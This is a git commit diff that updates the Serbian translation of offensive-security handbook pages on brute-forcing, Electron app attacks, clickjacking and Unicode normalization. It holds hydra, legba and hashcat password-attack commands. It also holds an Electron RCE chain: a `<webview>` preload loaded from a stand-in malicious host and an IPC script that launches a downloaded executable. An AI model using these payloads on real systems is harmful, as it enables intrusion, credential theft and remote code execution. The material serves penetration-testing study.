Translated ['src/generic-hacking/brute-force.md', 'src/network-services-

This commit is contained in:
Translator 2025-03-09 14:22:27 +00:00
parent bf38793aba
commit aebe0e5e3f
5 changed files with 119 additions and 58 deletions

View File

@ -4,7 +4,7 @@
## Default Credentials
**Pretražite na google-u** za podrazumevane akreditive tehnologije koja se koristi, ili **probajte ove linkove**:
**Pretražujte na google-u** za podrazumevane akreditive tehnologije koja se koristi, ili **probajte ove linkove**:
- [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
- [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
@ -34,9 +34,16 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars
^ Special characters including spac
crunch 6 8 -t ,@@^^%%
```
### Cewl
### Liste reči zasnovane na vebsajtovima
```bash
# Cewl gets words from the victims page
cewl example.com -m 5 -w words.txt
# Tok (https://github.com/tomnomnom/hacks/tree/master/tok) gets words from a list of URLs
cat /path/to/urls.txt | tok
# https://github.com/m4ll0k/BBTz/blob/master/getjswords.py gets words from a list of JS URLs
cat /path/to/js-urls.txt | python3 getjswords.py
```
### [CUPP](https://github.com/Mebus/cupp)
@ -144,7 +151,7 @@ legba http.basic --username admin --password wordlists/passwords.txt --target ht
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
```
### HTTP - Post Forma
### HTTP - Post Form
```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https
@ -393,13 +400,13 @@ legba ssh --username admin --password wordlists/passwords.txt --target localhost
# Try keys from a folder
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
```
#### Slabi SSH ključevi / Predvidljiv PRNG na Debijanu
#### Slabi SSH ključevi / Debian predvidljiv PRNG
Neki sistemi imaju poznate greške u nasumičnom semenu koje se koristi za generisanje kriptografskog materijala. To može rezultirati dramatično smanjenim prostorom ključeva koji se može bruteforcovati alatima kao što su [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Takođe su dostupni unapred generisani setovi slabih ključeva kao što su [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
### STOMP (ActiveMQ, RabbitMQ, HornetQ i OpenMQ)
STOMP tekstualni protokol je široko korišćen protokol za razmenu poruka koji **omogućava besprekornu komunikaciju i interakciju sa popularnim servisima za redove poruka** kao što su RabbitMQ, ActiveMQ, HornetQ i OpenMQ. Pruža standardizovan i efikasan pristup razmeni poruka i izvođenju raznih operacija sa porukama.
STOMP tekstualni protokol je široko korišćen protokol za razmenu poruka koji **omogućava besprekornu komunikaciju i interakciju sa popularnim servisima za redove poruka** kao što su RabbitMQ, ActiveMQ, HornetQ i OpenMQ. Pruža standardizovan i efikasan pristup za razmenu poruka i izvođenje raznih operacija sa porukama.
```bash
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
```
@ -439,7 +446,7 @@ crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
```
## Lokalno
### Online baze podataka za razbijanje
### Online baze podataka za dešifrovanje
- [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1)
- [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 sa/bez ESS/SSP i sa bilo kojom vrednošću izazova)
@ -471,10 +478,10 @@ john zip.john
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
```
#### Napad sa poznatim otvorenim tekstom zip
#### Napad sa poznatim otvorenim tekstom na zip
Morate znati **otvoreni tekst** (ili deo otvorenog teksta) **fajla koji se nalazi unutar** enkriptovanog zip-a. Možete proveriti **imena fajlova i veličinu fajlova koji se nalaze unutar** enkriptovanog zip-a pokretanjem: **`7z l encrypted.zip`**\
Preuzmite [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) sa stranice sa izdanjima.
Potrebno je da znate **otvoreni tekst** (ili deo otvorenog teksta) **fajla koji se nalazi unutar** enkriptovanog zip-a. Možete proveriti **imena fajlova i veličinu fajlova koji se nalaze unutar** enkriptovanog zip-a pokretanjem: **`7z l encrypted.zip`**\
Preuzmite [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) sa stranice za izdanja.
```bash
# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file
@ -588,7 +595,7 @@ Koristite [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john
Ako imate xlsx datoteku sa kolonom zaštićenom lozinkom, možete je otključati:
- **Otpremite je na google drive** i lozinka će biti automatski uklonjena
- Da **uklonite** to **ručno**:
- Da **uklonite** je **ručno**:
```bash
unzip file.xlsx
grep -R "sheetProtection" ./*
@ -637,7 +644,7 @@ john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
#### Hashcat napadi
- **Napad rečnika** (`-a 0`) sa pravilima
- **Napad sa rečnikom** (`-a 0`) sa pravilima
**Hashcat** već dolazi sa **folderom koji sadrži pravila** ali možete pronaći [**druga zanimljiva pravila ovde**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
```
@ -689,7 +696,7 @@ hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
```
- Wordlist + Mask (`-a 6`) / Mask + Wordlist (`-a 7`) napad
- Lista reči + Maska (`-a 6`) / Maska + Lista reči (`-a 7`) napad
```bash
# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
@ -697,11 +704,11 @@ hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
# Mask numbers will be prepended to each word in the wordlist
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
```
#### Hashcat modusi
#### Hashcat modovi
```bash
hashcat --example-hashes | grep -B1 -A2 "NTLM"
```
Kršenje Linux hešova - /etc/shadow datoteka
Razbijanje Linux hešova - /etc/shadow datoteka
```
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems

View File

@ -101,7 +101,7 @@ Izmenite start-main konfiguraciju i dodajte korišćenje proksija kao što su:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Electron lokalna injekcija koda
## Electron Local Code Injection
Ako možete lokalno izvršiti Electron aplikaciju, moguće je da možete izvršiti proizvoljni JavaScript kod. Proverite kako u:
@ -177,7 +177,7 @@ electron-contextisolation-rce-via-ipc.md
### Obilaženje događaja klika
Ako postoje ograničenja kada kliknete na link, možda ćete moći da ih zaobiđete **srednjim klikom** umesto običnim levim klikom.
Ako postoje ograničenja primenjena kada kliknete na link, možda ćete moći da ih zaobiđete **srednjim klikom** umesto običnim levim klikom
```javascript
window.addEventListener('click', (e) => {
```
@ -187,12 +187,12 @@ Za više informacija o ovim primerima pogledajte [https://shabarkin.medium.com/1
Kada se implementira Electron desktop aplikacija, osiguranje ispravnih podešavanja za `nodeIntegration` i `contextIsolation` je ključno. Utvrđeno je da **izvršavanje daljinskog koda na klijentskoj strani (RCE)** koje cilja preload skripte ili Electron-ov nativni kod iz glavnog procesa efikasno sprečava sa ovim podešavanjima.
Kada korisnik interaguje sa linkovima ili otvara nove prozore, aktiviraju se specifični slušači događaja, koji su ključni za bezbednost i funkcionalnost aplikacije:
Kada korisnik interaguje sa linkovima ili otvara nove prozore, aktiviraju se specifični slušači događaja, koji su ključni za sigurnost i funkcionalnost aplikacije:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Ovi slušatelji su **prepisani od strane desktop aplikacije** kako bi implementirali svoju **poslovnu logiku**. Aplikacija procenjuje da li bi navigirani link trebao biti otvoren interno ili u spoljašnjem web pretraživaču. Ova odluka se obično donosi putem funkcije, `openInternally`. Ako ova funkcija vrati `false`, to ukazuje da link treba biti otvoren spolja, koristeći funkciju `shell.openExternal`.
Ovi slušatelji su **prepisani od strane desktop aplikacije** da implementiraju svoju vlastitu **poslovnu logiku**. Aplikacija procenjuje da li bi navigirani link trebao biti otvoren interno ili u spoljašnjem web pretraživaču. Ova odluka se obično donosi putem funkcije, `openInternally`. Ako ova funkcija vrati `false`, to ukazuje da link treba biti otvoren spolja, koristeći funkciju `shell.openExternal`.
**Evo pojednostavljenog pseudokoda:**
@ -200,7 +200,7 @@ Ovi slušatelji su **prepisani od strane desktop aplikacije** kako bi implementi
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Electron JS sigurnosne najbolje prakse savetuju protiv prihvatanja nepouzdanog sadržaja sa funkcijom `openExternal`, jer to može dovesti do RCE kroz različite protokole. Operativni sistemi podržavaju različite protokole koji mogu izazvati RCE. Za detaljne primere i dalju objašnjenje o ovoj temi, može se konsultovati [ovaj resurs](https://positive.security/blog/url-open-rce#windows-10-19042), koji uključuje primere Windows protokola sposobnih za iskorišćavanje ove ranjivosti.
Electron JS sigurnosne najbolje prakse savetuju protiv prihvatanja nepouzdanog sadržaja sa funkcijom `openExternal`, jer to može dovesti do RCE kroz različite protokole. Operativni sistemi podržavaju različite protokole koji mogu pokrenuti RCE. Za detaljne primere i dalja objašnjenja o ovoj temi, može se konsultovati [ovaj resurs](https://positive.security/blog/url-open-rce#windows-10-19042), koji uključuje primere Windows protokola sposobnih za iskorišćavanje ove ranjivosti.
U macOS-u, funkcija `openExternal` može biti iskorišćena za izvršavanje proizvoljnih komandi kao u `shell.openExternal('file:///System/Applications/Calculator.app')`.
@ -224,13 +224,34 @@ window.open(
)
</script>
```
## Čitanje internih fajlova: XSS + contextIsolation
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
**Onemogućavanje `contextIsolation` omogućava korišćenje `<webview>` tagova**, sličnih `<iframe>`, za čitanje i eksfiltraciju lokalnih fajlova. Primer prikazan ilustruje kako iskoristiti ovu ranjivost za čitanje sadržaja internih fajlova:
Ova ranjivost se može naći u **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
**webviewTag** je **deprecated feature** koja omogućava korišćenje **NodeJS** u **renderer process**, što bi trebalo biti onemogućeno jer omogućava učitavanje skripte unutar preload konteksta kao:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
Stoga, napadač koji uspe da učita proizvoljnu stranicu mogao bi da iskoristi tu oznaku da **učita proizvoljan preload skript**.
Ovaj preload skript je zatim zloupotrebljen da pozove **ranjivu IPC uslugu (`skype-new-window`)** koja je pozivala **`shell.openExternal`** da bi dobila RCE:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
```
## Čitanje unutrašnjih fajlova: XSS + contextIsolation
**Onemogućavanje `contextIsolation` omogućava korišćenje `<webview>` tagova**, sličnih `<iframe>`, za čitanje i eksfiltraciju lokalnih fajlova. Primer prikazan ilustruje kako iskoristiti ovu ranjivost za čitanje sadržaja unutrašnjih fajlova:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
Dalje, podeljena je još jedna metoda za **čitanje internog fajla**, ističući kritičnu ranjivost čitanja lokalnih fajlova u Electron desktop aplikaciji. Ovo uključuje injektovanje skripte za iskorišćavanje aplikacije i eksfiltraciju podataka:
Dalje, podeljena je još jedna metoda za **čitanje unutrašnjeg fajla**, ističući kritičnu ranjivost čitanja lokalnih fajlova u Electron desktop aplikaciji. Ovo uključuje injektovanje skripte za iskorišćavanje aplikacije i eksfiltraciju podataka:
```html
<br /><br /><br /><br />
<h1>
@ -253,14 +274,14 @@ Možete videti primer u ovom **writeup**: [https://blog.electrovolt.io/posts/dis
## **XSS Phishing putem zaobilaženja interne URL regex**
Pretpostavljajući da ste pronašli XSS, ali **ne možete aktivirati RCE ili ukrasti interne fajlove**, mogli biste pokušati da ga iskoristite za **krađu kredencijala putem phishinga**.
Pretpostavljajući da ste pronašli XSS, ali ne možete **pokrenuti RCE ili ukrasti interne fajlove**, mogli biste pokušati da ga iskoristite za **krađu kredencijala putem phishinga**.
Prvo što treba da znate je šta se dešava kada pokušate da otvorite novu URL adresu, proveravajući JS kod u front-endu:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
Poziv na **`openInternally`** će odlučiti da li će **link** biti **otvoren** u **desktop prozoru** kao link koji pripada platformi, **ili** će biti otvoren u **pregledaču kao resurs treće strane**.
Poziv na **`openInternally`** će odlučiti da li će **link** biti **otvoren** u **desktop prozoru** jer pripada platformi, **ili** će biti otvoren u **pregledaču kao resurs treće strane**.
U slučaju da je **regex** koji koristi funkcija **ranjiv na zaobilaženje** (na primer, **ne beži tačke subdomena**) napadač bi mogao da iskoristi XSS da **otvori novi prozor koji** će biti smešten u infrastrukturi napadača **tražeći kredencijale** od korisnika:
```html
@ -268,17 +289,21 @@ U slučaju da je **regex** koji koristi funkcija **ranjiv na zaobilaženje** (na
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```
## Remote module
## `file://` Protokol
Electron Remote modul omogućava **renderer procesima pristup API-ima glavnog procesa**, olakšavajući komunikaciju unutar Electron aplikacije. Međutim, omogućavanje ovog modula uvodi značajne bezbednosne rizike. Proširuje napadnu površinu aplikacije, čineći je podložnijom ranjivostima kao što su napadi skriptiranja između sajtova (XSS).
Kao što je pomenuto u [dokumentaciji](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols), stranice koje se pokreću na **`file://`** imaju jednostrani pristup svakom fajlu na vašem računaru, što znači da se **XSS problemi mogu iskoristiti za učitavanje proizvoljnih fajlova** sa korisnikovog računara. Korišćenje **prilagođenog protokola** sprečava ovakve probleme jer možete ograničiti protokol na pružanje samo specifičnog skupa fajlova.
## Remote modul
Electron Remote modul omogućava **renderer procesima pristup API-ima glavnog procesa**, olakšavajući komunikaciju unutar Electron aplikacije. Međutim, omogućavanje ovog modula uvodi značajne bezbednosne rizike. Proširuje napadnu površinu aplikacije, čineći je podložnijom ranjivostima kao što su napadi skriptovanja između sajtova (XSS).
> [!TIP]
> Iako **remote** modul izlaže neke API-je iz glavnog u renderer procese, nije jednostavno dobiti RCE samo zloupotrebom komponenti. Međutim, komponente mogu izložiti osetljive informacije.
> Iako **remote** modul izlaže neke API-je od glavnog do renderer procesa, nije jednostavno dobiti RCE samo zloupotrebom komponenti. Međutim, komponente mogu izložiti osetljive informacije.
> [!WARNING]
> Mnoge aplikacije koje još uvek koriste remote modul to rade na način koji **zahteva da NodeIntegration bude omogućen** u renderer procesu, što je **ogroman bezbednosni rizik**.
Od Electron 14, `remote` modul Electron-a može biti omogućen u nekoliko koraka, ali zbog bezbednosnih i performansnih razloga je **preporučeno da se ne koristi**.
Od Electron 14, `remote` modul Electron-a može biti omogućen u nekoliko koraka, jer je zbog bezbednosti i performansi **preporučeno da se ne koristi**.
Da bi se omogućio, prvo je potrebno **omogućiti ga u glavnom procesu**:
```javascript
@ -295,22 +320,22 @@ Zatim, proces renderovanja može uvesti objekte iz modula kao što su:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
**[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** ukazuje na neke zanimljive **funkcije** koje izlaže objekat **`app`** iz remote modula:
**[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** ukazuje na neke zanimljive **funkcije** koje izlaže objekat **`app`** iz daljinskog modula:
- **`app.relaunch([options])`**
- **Ponovo pokreće** aplikaciju tako što **izlazi** iz trenutne instance i **pokreće** novu. Korisno za **ažuriranja aplikacija** ili značajne **promene stanja**.
- **Ponovo pokreće** aplikaciju tako što **izlazi** iz trenutne instance i **pokreće** novu. Korisno za **ažuriranja aplikacije** ili značajne **promene stanja**.
- **`app.setAppLogsPath([path])`**
- **Definiše** ili **stvara** direktorijum za čuvanje **logova aplikacije**. Logovi se mogu **pribaviti** ili **modifikovati** koristeći **`app.getPath()`** ili **`app.setPath(pathName, newPath)`**.
- **Definiše** ili **stvara** direktorijum za čuvanje **logova aplikacije**. Logovi se mogu **pribaviti** ili **izmeniti** koristeći **`app.getPath()`** ili **`app.setPath(pathName, newPath)`**.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **Registruje** trenutni izvršni fajl kao **podrazumevani handler** za određeni **protokol**. Možete navesti **prilagođeni put** i **argumente** ako je potrebno.
- **`app.setUserTasks(tasks)`**
- **Dodaje** zadatke u **kategoriju zadataka** u **Jump List** (na Windows-u). Svaki zadatak može kontrolisati kako se aplikacija **pokreće** ili koje **argumente** prima.
- **Dodaje** zadatke u **kategoriju zadataka** u **Jump List** (na Windows-u). Svaki zadatak može kontrolisati kako se aplikacija **pokreće** ili koje **argumente** se prosleđuju.
- **`app.importCertificate(options, callback)`**
- **Uvozi** **PKCS#12 sertifikat** u sistemski **sertifikat store** (samo Linux). **Callback** se može koristiti za obradu rezultata.
- **Uvozi** **PKCS#12 sertifikat** u **sertifikacioni skladište** sistema (samo Linux). **Callback** se može koristiti za obradu rezultata.
- **`app.moveToApplicationsFolder([options])`**
- **Premesta** aplikaciju u **Applications folder** (na macOS). Pomaže da se osigura **standardna instalacija** za Mac korisnike.
- **Premesta** aplikaciju u **Applications folder** (na macOS). Pomaže da se osigura **standardna instalacija** za korisnike Mac-a.
- **`app.setJumpList(categories)`**
- **Postavlja** ili **uklanja** **prilagođeni Jump List** na **Windows-u**. Možete specificirati **kategorije** da organizujete kako se zadaci prikazuju korisniku.
- **Postavlja** ili **uklanja** **prilagođeni Jump List** na **Windows-u**. Možete odrediti **kategorije** da organizujete kako se zadaci prikazuju korisniku.
- **`app.setLoginItemSettings(settings)`**
- **Konfiguriše** koje **izvršne fajlove** se pokreću pri **prijavljivanju** zajedno sa njihovim **opcijama** (samo macOS i Windows).
```javascript
@ -338,17 +363,17 @@ console.log('Recent Places:', recentPlaces);
* **Sluša** **nativne macOS obaveštenja** koristeći NSDistributedNotificationCenter.
* Pre **macOS Catalina**, mogli ste da presretnete **sva** distribuirana obaveštenja tako što ste prosledili **nil** CFNotificationCenterAddObserver.
* Nakon **Catalina / Big Sur**, aplikacije u sandboxu mogu i dalje da se **pretplate** na **mnoge događaje** (na primer, **zaključavanje/otključavanje ekrana**, **montiranje volumena**, **mrežna aktivnost**, itd.) registrujući obaveštenja **po imenu**.
* Nakon **Catalina / Big Sur**, aplikacije u sandbox-u mogu i dalje da se **pretplate** na **mnoge događaje** (na primer, **zaključavanje/otključavanje ekrana**, **montiranje volumena**, **mrežna aktivnost**, itd.) registrujući obaveštenja **po imenu**.
### **getUserDefault / setUserDefault**
* **Interfejs** sa **NSUserDefaults**, koji čuva **aplikacione** ili **globalne** postavke na macOS.
* **Interfejsi** sa **NSUserDefaults**, koji čuva **aplikacione** ili **globalne** postavke na macOS-u.
* **getUserDefault** može **pribaviti** osetljive informacije, kao što su **lokacije nedavnih datoteka** ili **geografska lokacija korisnika**.
* **getUserDefault** može da **dobije** osetljive informacije, kao što su **lokacije nedavnih datoteka** ili **geografska lokacija korisnika**.
* **setUserDefault** može **modifikovati** ove postavke, potencijalno utičući na **konfiguraciju** aplikacije.
* **setUserDefault** može da **izmeni** ove postavke, potencijalno utičući na **konfiguraciju** aplikacije.
* U **starijim verzijama Electrona** (pre v8.3.0), samo je **standardni paket** NSUserDefaults bio **dostupan**.
* U **starijim verzijama Electron-a** (pre v8.3.0), samo je **standardni paket** NSUserDefaults bio **dostupan**.
## Shell.showItemInFolder
@ -409,7 +434,7 @@ npm start
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
- [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
- Više istraživanja i članaka o Electron bezbednosti na [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
- Više istraživanja i članaka o Electron bezbednosti u [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
- [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)

View File

@ -8,7 +8,7 @@ U clickjacking napadu, **korisnik** je **prevaren** da **klikne** na **element**
### Prepopunjavanje obrazaca trik
Ponekad je moguće **popuniti vrednost polja obrasca koristeći GET parametre prilikom učitavanja stranice**. Napadač može zloupotrebiti ovo ponašanje da popuni obrazac proizvoljnim podacima i pošalje clickjacking payload tako da korisnik pritisne dugme Pošalji.
Ponekad je moguće **popuniti vrednost polja obrasca koristeći GET parametre prilikom učitavanja stranice**. Napadač može zloupotrebiti ovo ponašanje da popuni obrazac proizvoljnim podacima i pošalje clickjacking payload kako bi korisnik pritisnuo dugme Pošalji.
### Popuni obrazac sa Drag\&Drop
@ -100,14 +100,16 @@ Prvo [objašnjeno u ovom postu](https://securityaffairs.com/172572/hacking/doubl
Primer se može videti u ovom videu: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
Primer koda može se naći na [ovoj stranici](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html).
> [!WARNING]
> Ova tehnika omogućava prevaru korisnika da klikne na 1 mesto na stranici žrtve zaobilaženjem svake zaštite protiv clickjacking-a. Tako da napadač treba da pronađe **osetljive akcije koje se mogu izvršiti sa samo 1 klikom, kao što su OAuth prompte za prihvatanje dozvola**.
> Ova tehnika omogućava prevaru korisnika da klikne na 1 mesto na stranici žrtve zaobilazeći svaku zaštitu protiv clickjacking-a. Tako da napadač treba da pronađe **osetljive akcije koje se mogu izvršiti sa samo 1 klikom, kao što su OAuth prompte za prihvatanje dozvola**.
## Strategije za ublažavanje Clickjacking-a
### Klijentske odbrane
Skripte koje se izvršavaju na klijentskoj strani mogu preduzeti akcije da spreče Clickjacking:
Skripte koje se izvršavaju na klijentskoj strani mogu izvesti radnje da spreče Clickjacking:
- Osiguranje da je prozor aplikacije glavni ili gornji prozor.
- Činjenje svih okvira vidljivim.
@ -117,24 +119,24 @@ Skripte koje se izvršavaju na klijentskoj strani mogu preduzeti akcije da spre
Međutim, ovi skripti za razbijanje okvira mogu biti zaobiđeni:
- **Bezbednosne postavke pregledača:** Neki pregledači mogu blokirati ove skripte na osnovu svojih bezbednosnih postavki ili nedostatka podrške za JavaScript.
- **HTML5 iframe `sandbox` atribut:** Napadač može neutralisati skripte za razbijanje okvira postavljanjem `sandbox` atributa sa `allow-forms` ili `allow-scripts` vrednostima bez `allow-top-navigation`. Ovo sprečava iframe da proveri da li je on gornji prozor, npr.,
- **HTML5 iframe `sandbox` atribut:** Napadač može neutralisati skripte za razbijanje okvira postavljanjem `sandbox` atributa sa `allow-forms` ili `allow-scripts` vrednostima bez `allow-top-navigation`. Ovo sprečava iframe da verifikuje da li je on gornji prozor, npr.,
```html
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
```
The `allow-forms` i `allow-scripts` vrednosti omogućavaju akcije unutar iframe-a dok onemogućavaju navigaciju na vrhunskom nivou. Da bi se osigurala nameravana funkcionalnost ciljanog sajta, dodatne dozvole kao što su `allow-same-origin` i `allow-modals` mogu biti neophodne, u zavisnosti od tipa napada. Poruke u konzoli pretraživača mogu pomoći u određivanju koje dozvole treba omogućiti.
`allow-forms` i `allow-scripts` vrednosti omogućavaju akcije unutar iframe-a dok onemogućavaju navigaciju na vrhunskom nivou. Da bi se osigurala nameravana funkcionalnost ciljanog sajta, dodatne dozvole kao što su `allow-same-origin` i `allow-modals` mogu biti neophodne, u zavisnosti od tipa napada. Poruke u konzoli pretraživača mogu pomoći u određivanju koje dozvole treba dozvoliti.
### Server-Side Defenses
#### X-Frame-Options
**`X-Frame-Options` HTTP odgovor header** obaveštava pretraživače o legitimnosti prikazivanja stranice u `<frame>` ili `<iframe>`, pomažući u sprečavanju Clickjacking-a:
**`X-Frame-Options` HTTP odgovor header** obaveštava pretraživače o legitimnosti renderovanja stranice u `<frame>` ili `<iframe>`, pomažući u sprečavanju Clickjacking-a:
- `X-Frame-Options: deny` - Nijedna domena ne može uokviriti sadržaj.
- `X-Frame-Options: sameorigin` - Samo trenutni sajt može uokviriti sadržaj.
- `X-Frame-Options: allow-from https://trusted.com` - Samo navedeni 'uri' može uokviriti stranicu.
- `X-Frame-Options: allow-from https://trusted.com` - Samo određeni 'uri' može uokviriti stranicu.
- Imajte na umu ograničenja: ako pretraživač ne podržava ovu direktivu, možda neće raditi. Neki pretraživači preferiraju CSP frame-ancestors direktivu.
#### Content Security Policy (CSP) frame-ancestors direktiva
@ -153,7 +155,7 @@ Dalje informacije i složeni primeri mogu se naći u [frame-ancestors CSP dokume
### Content Security Policy (CSP) sa `child-src` i `frame-src`
**Content Security Policy (CSP)** je bezbednosna mera koja pomaže u sprečavanju Clickjacking-a i drugih napada injekcije koda tako što specificira koje izvore pretraživač treba da dozvoli za učitavanje sadržaja.
**Content Security Policy (CSP)** je mera bezbednosti koja pomaže u sprečavanju Clickjacking-a i drugih napada sa injekcijom koda tako što specificira koje izvore pretraživač treba da dozvoli za učitavanje sadržaja.
#### `frame-src` Direktiva
@ -189,7 +191,7 @@ top.location = self.location
```
#### Korišćenje Anti-CSRF Tokena
- **Validacija Tokena:** Koristite anti-CSRF tokene u web aplikacijama kako biste osigurali da su zahtevi koji menjaju stanje namerno izvršeni od strane korisnika, a ne putem Clickjacked stranice.
- **Validacija Tokena:** Koristite anti-CSRF tokene u web aplikacijama kako biste osigurali da su zahtevi koji menjaju stanje namerno poslati od strane korisnika, a ne kroz Clickjacked stranicu.
## Reference

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
**Ovo je sažetak:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Pogledajte za više detalja (slike preuzete odatle).
**Ovo je sažetak:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Pogledajte za više detalja (slike su preuzete odatle).
## Razumevanje Unikoda i Normalizacije
@ -17,8 +17,8 @@ Postoje **četiri algoritma normalizacije Unikoda**: NFC, NFD, NFKC i NFKD. Svak
Razumevanje kodiranja Unikoda je ključno, posebno kada se radi o problemima interoperabilnosti među različitim sistemima ili jezicima. Evo glavnih tačaka:
- **Kodni Poeni i Karakteri**: U Unikodu, svaki karakter ili simbol je dodeljen numeričku vrednost poznatu kao "kodni poen".
- **Reprezentacija Bajtova**: Kodni poen (ili karakter) se predstavlja jednim ili više bajtova u memoriji. Na primer, LATIN-1 karakteri (uobičajeni u zemljama gde se govori engleski) predstavljaju se koristeći jedan bajt. Međutim, jezici sa većim skupom karaktera zahtevaju više bajtova za reprezentaciju.
- **Kodni Poeni i Karakteri**: U Unikodu, svaki karakter ili simbol je dodeljen numeričkoj vrednosti poznatoj kao "kodni poen".
- **Reprezentacija Bajtova**: Kodni poen (ili karakter) se predstavlja jednim ili više bajtova u memoriji. Na primer, LATIN-1 karakteri (uobičajeni u zemljama gde se govori engleski) se predstavljaju koristeći jedan bajt. Međutim, jezici sa većim skupom karaktera zahtevaju više bajtova za reprezentaciju.
- **Kodiranje**: Ovaj termin se odnosi na to kako se karakteri transformišu u niz bajtova. UTF-8 je prevalentni standard kodiranja gde se ASCII karakteri predstavljaju koristeći jedan bajt, a do četiri bajta za druge karaktere.
- **Obrada Podataka**: Sistemi koji obrađuju podatke moraju biti svesni kodiranja koje se koristi da bi ispravno konvertovali bajt tok u karaktere.
- **Varijante UTF**: Pored UTF-8, postoje i drugi standardi kodiranja kao što su UTF-16 (koristeći minimum 2 bajta, do 4) i UTF-32 (koristeći 4 bajta za sve karaktere).
@ -91,14 +91,24 @@ Primetite da se, na primer, prvi predloženi Unicode karakter može poslati kao:
### Fuzzing Regexes
